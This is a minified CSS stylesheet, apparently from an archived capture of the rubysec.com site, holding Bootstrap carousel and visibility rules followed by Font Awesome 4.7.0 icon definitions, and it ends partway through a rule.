.icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;margin-left:-30%;padding-left:0;list-style:none;text-align:center}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;border:1px solid #fff;border-radius:10px;cursor:pointer;background-color:#000 \9;background-color:transparent}.carousel-indicators .active{margin:0;width:12px;height:12px;background-color:#fff}.carousel-caption{position:absolute;left:15%;right:15%;bottom:20px;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,0.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width: 768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-prev,.carousel-control .icon-next{width:30px;height:30px;margin-top:-10px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-10px}.carousel-caption{left:20%;right:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.clearfix:before,.clearfix:after{content:" ";display:table}.clearfix:after{clear:both}.center-block{display:block;margin-left:auto;margin-right:auto}.pull-right{float:right !important}.pull-left{float:left !important}.hide{display:none !important}.show{display:block !important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none !important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-xs{display:none !important}.visible-sm{display:none !important}.visible-md{display:none !important}.visible-lg{display:none !important}.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block{display:none !important}@media (max-width: 767px){.visible-xs{display:block !important}table.visible-xs{display:table !important}tr.visible-xs{display:table-row !important}th.visible-xs,td.visible-xs{display:table-cell !important}}@media (max-width: 767px){.visible-xs-block{display:block !important}}@media (max-width: 767px){.visible-xs-inline{display:inline !important}}@media (max-width: 767px){.visible-xs-inline-block{display:inline-block !important}}@media (min-width: 768px) and (max-width: 991px){.visible-sm{display:block !important}table.visible-sm{display:table !important}tr.visible-sm{display:table-row !important}th.visible-sm,td.visible-sm{display:table-cell !important}}@media (min-width: 768px) and (max-width: 991px){.visible-sm-block{display:block !important}}@media (min-width: 768px) and (max-width: 991px){.visible-sm-inline{display:inline !important}}@media (min-width: 768px) and (max-width: 991px){.visible-sm-inline-block{display:inline-block !important}}@media (min-width: 992px) and (max-width: 1199px){.visible-md{display:block !important}table.visible-md{display:table !important}tr.visible-md{display:table-row !important}th.visible-md,td.visible-md{display:table-cell !important}}@media (min-width: 992px) and (max-width: 1199px){.visible-md-block{display:block !important}}@media (min-width: 992px) and (max-width: 1199px){.visible-md-inline{display:inline !important}}@media (min-width: 992px) and (max-width: 1199px){.visible-md-inline-block{display:inline-block !important}}@media (min-width: 1200px){.visible-lg{display:block !important}table.visible-lg{display:table !important}tr.visible-lg{display:table-row !important}th.visible-lg,td.visible-lg{display:table-cell !important}}@media (min-width: 1200px){.visible-lg-block{display:block !important}}@media (min-width: 1200px){.visible-lg-inline{display:inline !important}}@media (min-width: 1200px){.visible-lg-inline-block{display:inline-block !important}}@media (max-width: 767px){.hidden-xs{display:none !important}}@media (min-width: 768px) and (max-width: 991px){.hidden-sm{display:none !important}}@media (min-width: 992px) and (max-width: 1199px){.hidden-md{display:none !important}}@media (min-width: 1200px){.hidden-lg{display:none !important}}.visible-print{display:none !important}@media print{.visible-print{display:block !important}table.visible-print{display:table !important}tr.visible-print{display:table-row !important}th.visible-print,td.visible-print{display:table-cell !important}}.visible-print-block{display:none !important}@media print{.visible-print-block{display:block !important}}.visible-print-inline{display:none !important}@media print{.visible-print-inline{display:inline !important}}.visible-print-inline-block{display:none !important}@media print{.visible-print-inline-block{display:inline-block !important}}@media print{.hidden-print{display:none !important}}/*! - * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome - * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) - */@font-face{font-family:'FontAwesome';src:url("/web/20190417075942im_/https://rubysec.com/assets/fontawesome-webfont-7bfcab6db99d5cfbf1705ca0536ddc78585432cc5fa41bbd7ad0f009033b2979.eot");src:url("/web/20190417075942im_/https://rubysec.com/assets/fontawesome-webfont-7bfcab6db99d5cfbf1705ca0536ddc78585432cc5fa41bbd7ad0f009033b2979.eot#iefix") format("embedded-opentype"),url("/web/20190417075942im_/https://rubysec.com/assets/fontawesome-webfont-2adefcbc041e7d18fcf2d417879dc5a09997aa64d675b7a3c4b6ce33da13f3fe.woff2") format("woff2"),url("/web/20190417075942im_/https://rubysec.com/assets/fontawesome-webfont-ba0c59deb5450f5cb41b3f93609ee2d0d995415877ddfa223e8a8a7533474f07.woff") format("woff"),url("/web/20190417075942im_/https://rubysec.com/assets/fontawesome-webfont-aa58f33f239a0fb02f5c7a6c45c043d7a9ac9a093335806694ecd6d4edc0d6a8.ttf") format("truetype"),url("/web/20190417075942im_/https://rubysec.com/assets/fontawesome-webfont-ad6157926c1622ba4e1d03d478f1541368524bfc46f51e42fe0d945f7ef323e4.svg#fontawesomeregular") format("svg");font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:0.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:0.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid 0.08em #eeeeee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#ffffff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless: